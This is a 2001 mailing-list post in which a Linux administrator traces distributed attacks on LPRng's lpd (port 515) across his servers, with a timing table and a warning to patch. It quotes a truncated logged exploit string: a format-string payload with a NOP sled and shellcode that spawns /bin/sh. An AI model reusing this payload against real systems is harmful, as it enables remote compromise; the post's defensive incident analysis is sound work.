I've managed to make considerable progress. I'm posting this more
as information and as a warning for others to heed.
The moral of the story is:
- configure your linux systems well and secure them tightly.
- apply any security updates for network daemons as soon as they
become available.
The internet is a battlezone and everyone is a target for "hidden"
rogue elements. If you want to keep your (linux) box alive and
well and remain under YOUR control, then it is war that you need
to wage. Never let your guard down.
On Mon Apr 23 2001 at 11:00, Tony Nugent wrote:
> On Sun Apr 22 2001 at 12:08, [EMAIL PROTECTED] wrote:
>
> > I don't recognize the specific attack, but it certainly looks like
> > other buffer overflow attacks that I've seen on syslog events.
>
> Thanks for confirming that I'm not the only one seeing this.
>
> The update is that I'm now seeing this happen on redhat 7.0 boxes
> (which have similar roles to our other rh6.x servers), so it is NOT
> specific to redhat 6.2.
Oh, this all got more and more interesting the more I kept digging
into it!
I've been going through lots of log archives of a number of these
server boxes, covering the past couple of months.
This is definitely some sort of distributed network attack... it
hits multiple boxes on our network at almost exactly the same
(otherwise random?) times.
See below for what I mean. This is NOT caused by an internal system
error but by an outside source.
I have found (by digging around my own system) what service it is
that is being attacked...
$ strings /usr/sbin/lpd | egrep Dispatch\|SERVER
SERVER
Dispatch_input: bad request line '%s'
SERVER
SERVER
NONZERO RFC1179 ERROR CODE FROM SERVER
This is from LPRng - we replaced the old buggy "lpr" package on
all our rh6.x boxes with a recompiled LPRng rpm (the rh7.0
update).
Printer daemon. Port 515 (tcp).
One thing I don't understand...
If lpd is NOT configured and running as a network server, why is
it listening on a network socket?
There is absolutely no need for lpd to do that. It should NOT
open a network port if it has no need to do this. It doesn't.
Open nework port = potential security hole.
Surely... by default, lpd should listen on local unix sockets, and
ONLY bind to network interfaces if it is specifically configured
for giving network services.
This whole thing is looking more like a ramen-style (perhaps
automated) worm attack (eg, the Adore worm), but nothing I'm reading
about this refers to the sort of behaviour to expect on "safe"
uncompromisable boxes.
> > > Apr 22 11:15:17 linuxbox SERVER[28173]: Dispatch_input: bad request line
>'BBÜóÿ¿Ýóÿ¿Þóÿ¿ßóÿ¿XXXXXXXXXXXXXXXXXX%.156u%300$n%.21u%301$nsecurity%302$n%.192u%303$n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2
> > >
>20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
> > >
>220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> > >
>\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22
> > >
>0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2201Û1É1À°FÍ\200\211å1Ò²f\211Ð1É\211Ë!
> > > C\211]øC\211]ôK\211Mü\215MôÍ\2001É\211
After carefully digging through all this garbage (deciphering the
octal stuff), it is possible to find the string "/bin/sh" near the
end of the logged entry. Suprise suprise. :)
The results below are very interesting. The attacks are definitely
targeted, they start at the same time, and they are coming from
serveral different independent sources.
Going by the log entry patters, some boxes look like they were
being hit from two of these sources at the same time (a "log entry
count" would have been useful, a "hit rate" would have shown that
this was occurring).
At its worst, this could have compromised our entire network (which
would have been a disaster for us).
At its best, this is an ugly DoS attack. And traffic that I'd like
to get OUT of our network.
Now my taks it to go back to tweak with some firewalls... now that I
know _what_ is being targeted, I now have a start on what to look
for to find the sources of these attacks.
Cheers
Tony
Network and Systems Administrator, RHCE
LinuxWorks for networking : [EMAIL PROTECTED]
Consultant, GrowZone OnLine : [EMAIL PROTECTED]
-=*#*=-=*#*=-=*#*=-=*#*=-=*#*=-=*#*=-=*#*=-=*#*=-=*#*=-=*#*=-=*#*=-
Hostnames changed to protect the guilty. The dates/times are
(very) accurate.
START END
DATE LOG LOG HOST
=========================================
Mar 10 14:22:45 14:32:36 alpha
Mar 10 14:23:32 14:33:03 beta
Mar 10 14:23:32 14:31:55 cappa
Mar 10 14:23:32 14:33:28 delta
Mar 10 14:23:38 14:33:36 epsilon
Mar 10 14:23:38 14:33:37 gamma
Mar 10 14:23:38 14:33:35 indigo
Mar 10 14:23:38 14:29:51 theta
Apr 2 11:15:16 11:20:53 violet
Apr 2 11:15:17 11:31:56 alpha
Apr 2 11:15:17 11:17:57 aqua
Apr 2 11:15:18 11:31:51 sandy
Apr 2 11:15:18 11:24:24 rocky
Apr 2 11:15:20 11:17:10 rouge
Apr 2 11:15:20 11:25:59 delta
Apr 2 11:15:20 11:18:22 chocolate
Apr 4 10:10:08 10:34:54 orchid
Apr 4 10:10:08 10:11:04 rouge
Apr 4 10:10:08 11:57:30 violet
Apr 4 10:10:08 10:39:15 burlywood
Apr 4 10:10:09 11:44:49 alpha
Apr 4 10:10:13 10:11:57 chocolate
Apr 4 10:10:14 11:45:53 maroon
Apr 4 10:33:05 10:36:19 indigo
Apr 4 10:33:04 10:40:14 plum
Apr 4 11:40:17 11:40:17 coral
Apr 4 11:43:14 11:45:42 sandy
Apr 4 11:43:06 11:47:07 cappa
Apr 4 21:23:40 21:25:58 cappa
Apr 4 21:23:40 21:33:42 coral
Apr 4 21:28:22 21:29:27 indigo
Apr 4 21:28:22 21:30:17 violet
Apr 4 21:28:22 21:29:45 burlywood
Apr 4 21:28:22 21:37:05 delta
Apr 4 21:28:22 21:32:49 rocky
Apr 4 21:28:22 21:30:04 epsilon
Apr 4 21:28:23 21:29:50 rouge
Apr 4 21:28:23 21:45:00 chocolate
Apr 4 21:28:26 21:32:10 sandy
Apr 5 12:32:03 12:40:18 orchid
Apr 5 12:32:03 12:37:18 burlywood
Apr 5 12:32:03 12:44:44 coral
Apr 7 04:06:43 04:09:15 violet
Apr 7 04:06:46 04:10:03 delta
Apr 7 04:06:44 04:23:22 gamma
Apr 8 04:12:45 04:14:45 cappa
Apr 8 04:12:45 04:17:11 epsilon
Apr 8 04:12:45 04:14:17 coral
Apr 8 04:12:46 04:14:07 orchid
Apr 8 04:12:46 04:14:55 plum
Apr 8 04:12:46 04:16:35 delta
Apr 9 05:09:49 05:22:12 rouge
Apr 9 05:09:49 05:23:59 cappa
Apr 9 05:09:49 05:19:17 gamma
Apr 15 00:42:54 00:47:16 cappa
Apr 15 00:42:55 00:56:39 maroon
Apr 15 00:42:55 00:45:39 delta
Apr 15 00:42:55 01:05:48 gamma
Apr 15 00:42:56 00:46:40 rouge
Apr 15 00:42:56 00:56:40 alpha
Apr 15 00:42:57 00:46:15 chocolate
Apr 19 09:58:09 10:05:09 theta
Apr 19 09:58:09 10:06:31 plum
Apr 19 09:58:10 10:14:45 alpha
Apr 19 09:58:12 10:14:44 rocky
Apr 19 09:58:22 10:06:52 gamma
Apr 19 09:58:19 10:14:44 burlywood
Apr 19 09:58:10 10:14:38 orchid
Apr 20 02:11:45 02:12:30 rouge
_______________________________________________
Redhat-devel-list mailing list
[EMAIL PROTECTED]
https://listman.redhat.com/mailman/listinfo/redhat-devel-list
